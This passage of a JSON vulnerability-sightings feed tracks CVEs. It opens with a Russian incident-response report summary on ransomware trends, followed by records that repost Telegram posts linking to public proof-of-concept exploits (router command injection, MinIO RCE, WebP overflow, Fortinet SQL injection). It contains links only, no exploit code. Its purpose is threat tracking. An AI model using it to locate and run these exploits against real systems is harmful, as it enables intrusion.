\u043f\u043e\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u043e\u0442 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c \u0440\u0435\u0436\u0435, \u0447\u0435\u043c \u0433\u043e\u0434\u043e\u043c \u0440\u0430\u043d\u0435\u0435.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u043a \u0440\u043e\u0441\u0442\u0443 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u043d\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u044c\u044e - \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 IR-\u0443\u0441\u043b\u0443\u0433\u0438 \u0441 2023 \u0433\u043e\u0434\u0430 \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u0432\u0434\u0432\u043e\u0435.\n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c ransomware \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u043e\u0441\u044c \u043d\u0430 8,3 \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f\u043c\u0438 2023 \u0433\u043e\u0434\u0430 \u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u043e 41,6% \u043e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u043e\u0433\u043d\u043e\u0437\u0438\u0440\u0443\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443 \u0438 \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0433\u043e\u0434\u0443, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043b\u0435\u0442, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043b\u0438\u0434\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445.\n\n\u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 LockBit\u00a0(43,6%), \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442\u00a0Babuk\u00a0(9,1%) \u0438 Phobos (5,5%). \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0438 \u043d\u043e\u0432\u044b\u0435 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a\u00a0ShrinkLocker\u00a0\u0438\u00a0Ymir.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b GERT \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a\u00a0Tusk, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u044f\u0434 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432\u00a0\u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 CVE-2023-48788.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0442\u0440\u0435\u0432\u043e\u0436\u043d\u043e\u0439 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430\u0445 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u0430\u043a Mimikatz (21,8%) \u0438 PsExec (20,0%) \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0438 \u0431\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f.\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432 \u041b\u041a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0449\u0443\u044e\u0441\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044e, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430 \u0432\u0442\u043e\u0440\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u043e\u0442\u0435 IR-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (\u0432 16,9% \u0432\u0441\u0435\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432), \u0447\u0442\u043e \u043a\u043e\u0440\u0440\u0435\u043b\u0438\u0440\u0443\u0435\u0442 \u0441 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u041b\u041a \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0439 \u0432 \u043c\u0435\u0442\u043e\u0434\u0430\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041f\u043e\u043b\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043e\u0442\u0447\u0435\u0442\u0430\u00a0\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0437\u0434\u0435\u0441\u044c \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u043e\u0432\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 APT \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u043e\u0439 \u043f\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0433\u0440\u0443\u043f\u043f\u0430\u043c.", "creation_timestamp": "2025-03-19T17:38:16.000000Z"}, {"uuid": "31d1b8d0-6141-4833-9cc2-c87c62ec9f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48842", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1651", "content": "https://github.com/creacitysec/CVE-2023-48842/blob/main/exploit.py\n#github", "creation_timestamp": "2023-12-04T07:37:55.000000Z"}, {"uuid": "b40ad81a-d3ac-4112-9544-79cfaea58466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/ZerodayAlert/218", "content": "", "creation_timestamp": "2026-07-06T11:00:07.840689Z"}, {"uuid": "8b55e0ec-0f5e-44c4-98fd-e72a3a9c593d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48034", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9437", "content": "#exploit\n1. Remote unauth DoS PoC exploit that targets the authentication implementation of Havoc\nhttps://github.com/syncwithali/HavocExploit\n\n2. Magento 2.4.6 - XSLT Server Side Injection\nhttps://packetstormsecurity.com/files/175806/Magento-2.4.6-XSLT-Server-Side-Injection.html\n\n3. CVE-2023-48034:\nWeak encryption in Acer Wireless Keyboard SK-9662\nhttps://github.com/aprkr/CVE-2023-48034", "creation_timestamp": "2023-11-21T12:19:10.000000Z"}, {"uuid": "1f0fe497-df84-4763-a860-8e1bf188908a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48842", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9517", "content": "#exploit\n1. CVE-2023-48842:\nD-Link Go-RT-AC750 - command injection via the service parameter at hedwig.cgi\nhttps://github.com/creacitysec/CVE-2023-48842\n\n2. Exploit tool that can control camera movement even without a username/psw\nhttps://github.com/0xbitx/DEDSEC_PTZ_EXPLOIT", "creation_timestamp": "2024-01-10T13:07:03.000000Z"}, {"uuid": "937dabfb-052d-4da9-943f-ec4ef6d7fd97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9717", "content": "#exploit\n1. CVE-2023-6348:\nChrome BindTextSuggestionHostForFrame Type Confusion\nhttps://packetstormsecurity.com/files/176368/Chrome-BindTextSuggestionHostForFrame-Type-Confusion.html\n\n2. CVE-2023-48864:\nSemcms v4.8 web_inc.php SQL Injection\nhttps://github.com/f3lze3/CVE-2023-48864\n\n3. CVE-2023-36404:\nWindows Kernel Information Disclosure\nhttps://packetstormsecurity.com/files/176110/Windows-Kernel-Information-Disclosure.html", "creation_timestamp": "2024-01-06T08:56:36.000000Z"}, {"uuid": "f8c90333-73fa-42c6-8fd1-e02f5c7eef21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48003", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9983", "content": "#exploit\n1. CVE-2023-48003:\nAsp.Net Zero <12.3 - HTML Injection Leads to Open Redirect via Websockets\nhttps://docs.unsafe-inline.com/0day/asp.net-zero-v12.3.0-html-injection-leads-to-open-redirect-via-websockets-cve-2023-48003\n\n2. Windows Defender Detection Mitigation TrojanWin32Powessere.G\nhttps://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt\n\n3. CVE-2023-47464:\nPath Traversal in Gl-Inet Gl-AX1800\nhttps://github.com/HadessCS/CVE-2023-47464", "creation_timestamp": "2024-02-16T10:58:01.000000Z"}, {"uuid": "c07d66fe-0e22-4fe4-abfa-62184b9eb667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48725", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10195", "content": "#exploit\n1. CVE-2023-48788:\nFortinet FortiClient EMS SQL Injection\nhttps://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive\n\n2. CVE-2023-48725:\nNetgear RAX30 stack-based buffer overflow vulnerability\nhttps://blog.talosintelligence.com/vulnerability-roundup-march-20-2024\n\n3. CVE-2024-1212:\nUnauthenticated Command Injection In Progress Kemp LoadMaster\nhttps://github.com/Chocapikk/CVE-2024-1212", "creation_timestamp": "2024-03-23T07:24:50.000000Z"}, {"uuid": "b5132882-ab03-4f42-a7f0-b268cfa209e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10195", "content": "#exploit\n1. CVE-2023-48788:\nFortinet FortiClient EMS SQL Injection\nhttps://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive\n\n2. CVE-2023-48725:\nNetgear RAX30 stack-based buffer overflow vulnerability\nhttps://blog.talosintelligence.com/vulnerability-roundup-march-20-2024\n\n3. CVE-2024-1212:\nUnauthenticated Command Injection In Progress Kemp LoadMaster\nhttps://github.com/Chocapikk/CVE-2024-1212", "creation_timestamp": "2024-03-23T07:24:50.000000Z"}, {"uuid": "10589df3-dab2-4b2a-b079-8c8074114b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9072", "content": "#exploit\n1. PoC for demonstrating Race Conditions on Websockets\nhttps://github.com/redrays-io/WS_RaceCondition_PoC\n\n2. CVE-2023-4863:\nHeap buffer overflow in the WebP image library\nhttps://blog.isosceles.com/the-webp-0day\n]-> https://github.com/mistymntncop/CVE-2023-4863\n\n3. CVE-2023-30845:\nJWT authentication bypass via \"X-HTTP-Method-Override\"\nhttps://github.com/himori123/-CVE-2023-30845", "creation_timestamp": "2023-09-23T12:27:01.000000Z"}, {"uuid": "a1fd9a36-0517-4475-8255-9af48c9f18b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4809", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9015", "content": "#exploit\n1. CVE-2023-28434:\nMinIO unauthorized to RCE\nhttps://github.com/AbelChe/evil_minio\n\n2. CVE-2023-3959, CVE-2023-4249:\nMultiple critical vulnerabilities in Zavio IP cameras\nhttps://bugprove.com/knowledge-hub/cve-2023-3959-cve-2023-4249-multiple-critical-vulnerabilities-in-zavio-ip-cameras\n\n3. CVE-2023-4809:\nFreeBSD pf bypass when using IPv6\nhttps://www.enricobassetti.it/2023/09/cve-2023-4809-freebsd-pf-bypass-when-using-ipv6", "creation_timestamp": "2023-09-13T11:01:01.000000Z"}, {"uuid": "ba6c382e-9a40-4e2b-a2ad-b3a32d90f99a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9253", "content": "#exploit\n1. CVE-2023-21931:\nOracle Weblogic PreAuth RCE\nhttps://github.com/MMarch7/weblogic_CVE-2023-21931_POC-EXP\n\n2. CVE-2023-36745:\nMS Exchange Server Privilege Escalation\nhttps://securityonline.info/microsoft-exchange-server-rce-cve-2023-36745-flaw-gets-poc-exploit\n]-> PoC: https://github.com/N1k0la-T/CVE-2023-36745\n\n3. CVE-2023-4863:\nHeap buffer overflow in Google WebP\nhttps://paper.seebug.org/3056", "creation_timestamp": "2024-12-26T17:03:29.000000Z"}, {"uuid": "040fdffa-2e33-452c-bd37-25e406952a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4809", "type": "seen", "source": "https://t.me/Rootsec_2/962", "content": "#exploit\n1. CVE-2023-28434:\nMinIO unauthorized to RCE\nhttps://github.com/AbelChe/evil_minio\n\n2. CVE-2023-3959, CVE-2023-4249:\nMultiple critical vulnerabilities in Zavio IP cameras\nhttps://bugprove.com/knowledge-hub/cve-2023-3959-cve-2023-4249-multiple-critical-vulnerabilities-in-zavio-ip-cameras\n\n3. CVE-2023-4809:\nFreeBSD pf bypass when using IPv6\nhttps://www.enricobassetti.it/2023/09/cve-2023-4809-freebsd-pf-bypass-when-using-ipv6", "creation_timestamp": "2024-08-16T08:24:29.000000Z"}, {"uuid": "292c5ff9-3bba-4fa6-8b28-4fed9610bcd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48842", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2185", "content": "#exploit\n1. CVE-2023-48842:\nD-Link Go-RT-AC750 - command injection via the service parameter at hedwig.cgi\nhttps://github.com/creacitysec/CVE-2023-48842\n\n2. Exploit tool that can control camera movement even without a username/psw\nhttps://github.com/0xbitx/DEDSEC_PTZ_EXPLOIT", "creation_timestamp": "2024-08-16T08:55:31.000000Z"}, {"uuid": "71284271-be93-484b-8351-f9685fc97fff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48034", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2045", "content": "#exploit\n1. Remote unauth DoS PoC exploit that targets the authentication implementation of Havoc\nhttps://github.com/syncwithali/HavocExploit\n\n2. Magento 2.4.6 - XSLT Server Side Injection\nhttps://packetstormsecurity.com/files/175806/Magento-2.4.6-XSLT-Server-Side-Injection.html\n\n3. CVE-2023-48034:\nWeak encryption in Acer Wireless Keyboard SK-9662\nhttps://github.com/aprkr/CVE-2023-48034", "creation_timestamp": "2024-08-16T08:51:14.000000Z"}, {"uuid": "7c5d86d3-0064-4dc7-b3ce-73a13d6c6452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1103", "content": "#exploit\n1. PoC for demonstrating Race Conditions on Websockets\nhttps://github.com/redrays-io/WS_RaceCondition_PoC\n\n2. CVE-2023-4863:\nHeap buffer overflow in the WebP image library\nhttps://blog.isosceles.com/the-webp-0day\n]-> https://github.com/mistymntncop/CVE-2023-4863\n\n3. CVE-2023-30845:\nJWT authentication bypass via \"X-HTTP-Method-Override\"\nhttps://github.com/himori123/-CVE-2023-30845", "creation_timestamp": "2024-08-16T08:28:21.000000Z"}, {"uuid": "154f73ea-314b-4bd5-b112-ecb5948d1ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/2419", "content": "#exploit\n1. CVE-2023-6348:\nChrome BindTextSuggestionHostForFrame Type Confusion\nhttps://packetstormsecurity.com/files/176368/Chrome-BindTextSuggestionHostForFrame-Type-Confusion.html\n\n2. CVE-2023-48864:\nSemcms v4.8 web_inc.php SQL Injection\nhttps://github.com/f3lze3/CVE-2023-48864\n\n3. CVE-2023-36404:\nWindows Kernel Information Disclosure\nhttps://packetstormsecurity.com/files/176110/Windows-Kernel-Information-Disclosure.html", "creation_timestamp": "2024-08-16T08:59:55.000000Z"}, {"uuid": "75cf3fa0-c21c-4eae-b658-ef59e4fb5cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1503", "content": "#exploit\n1. CVE-2023-21931:\nOracle Weblogic PreAuth RCE\nhttps://github.com/MMarch7/weblogic_CVE-2023-21931_POC-EXP\n\n2. CVE-2023-36745:\nMS Exchange Server Privilege Escalation\nhttps://github.com/N1k0la-T/CVE-2023-36745\n\n3. CVE-2023-4863:\nHeap buffer overflow in Google WebP\nhttps://paper.seebug.org/3056", "creation_timestamp": "2024-08-16T08:40:05.000000Z"}, {"uuid": "cc6fef88-ec28-45d5-a67b-91410d47e4a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48034", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/1765", "content": "#exploit\n1. Remote unauth DoS PoC exploit that targets the authentication implementation of Havoc\nhttps://github.com/syncwithali/HavocExploit\n\n2. Magento 2.4.6 - XSLT Server Side Injection\nhttps://packetstormsecurity.com/files/175806/Magento-2.4.6-XSLT-Server-Side-Injection.html\n\n3. CVE-2023-48034:\nWeak encryption in Acer Wireless Keyboard SK-9662\nhttps://github.com/aprkr/CVE-2023-48034", "creation_timestamp": "2024-08-16T08:46:03.000000Z"}, {"uuid": "24cb8f41-a593-4d3a-b0c2-f6e9cb0f5364", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://bsky.app/profile/www.kernel-error.de/post/3mmemntx7wju2", "content": "", "creation_timestamp": "2026-05-21T14:23:27.948230Z"}, {"uuid": "a1dc0bbd-368b-472e-9ff4-ed3baf57de69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://bsky.app/profile/breachandbuild.bsky.social/post/3mmwcey2muu2v", "content": "", "creation_timestamp": "2026-05-28T15:07:23.829965Z"}, {"uuid": "68f7c78b-5751-43b4-a03c-6663a20e4fe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-48706", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/6067ed1ca2a2492793f7e001d36dd0f9", "content": "", "creation_timestamp": "2026-06-13T13:00:31.000000Z"}, {"uuid": "d437b78d-00bf-4e38-bfa3-41a45c0f53d8", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/bda5ea87-419d-4142-bcf1-1ac8af3b2978", "content": "", "creation_timestamp": "2026-06-19T12:42:40.163113Z"}, {"uuid": "6b4083c3-3999-45bc-9362-555e571dc6eb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48365", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/b3cb3a13-a13c-48b6-af50-a200cf3f4cc3", "content": "", "creation_timestamp": "2026-06-23T11:14:31.823333Z"}, {"uuid": "50a4b30b-14c9-4af5-844d-1363d4a6e0b8", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/ae8ed078-2726-4b66-aac5-d46904c64260", "content": "", "creation_timestamp": "2026-06-23T11:14:20.359113Z"}, {"uuid": "a65f9d1e-3dd3-4e59-88f5-505fc831508c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/90b00674-33b5-48f8-8ae4-b806d8eeab3e", "content": "", "creation_timestamp": "2026-06-23T11:14:10.129475Z"}, {"uuid": "eede271d-00ff-4ab6-96c5-6077c3a21c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/johann.tezoscommons.org/post/3moxdnzvbts2m", "content": "", "creation_timestamp": "2026-06-23T11:53:26.447186Z"}, {"uuid": "3a4a8996-d90d-4201-8e9d-8a44e3d3e075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/johann.tezoscommons.org/post/3moxdnzv7vc2m", "content": "", "creation_timestamp": "2026-06-23T11:53:26.025910Z"}, {"uuid": "fe92bc9a-c2ff-4dab-9f3b-1f50966959cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://bsky.app/profile/johann.tezoscommons.org/post/3moxdnyp27k2m", "content": "", "creation_timestamp": "2026-06-23T11:53:25.578865Z"}, {"uuid": "68c84e01-1916-4fc4-8d4f-63a2455084c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 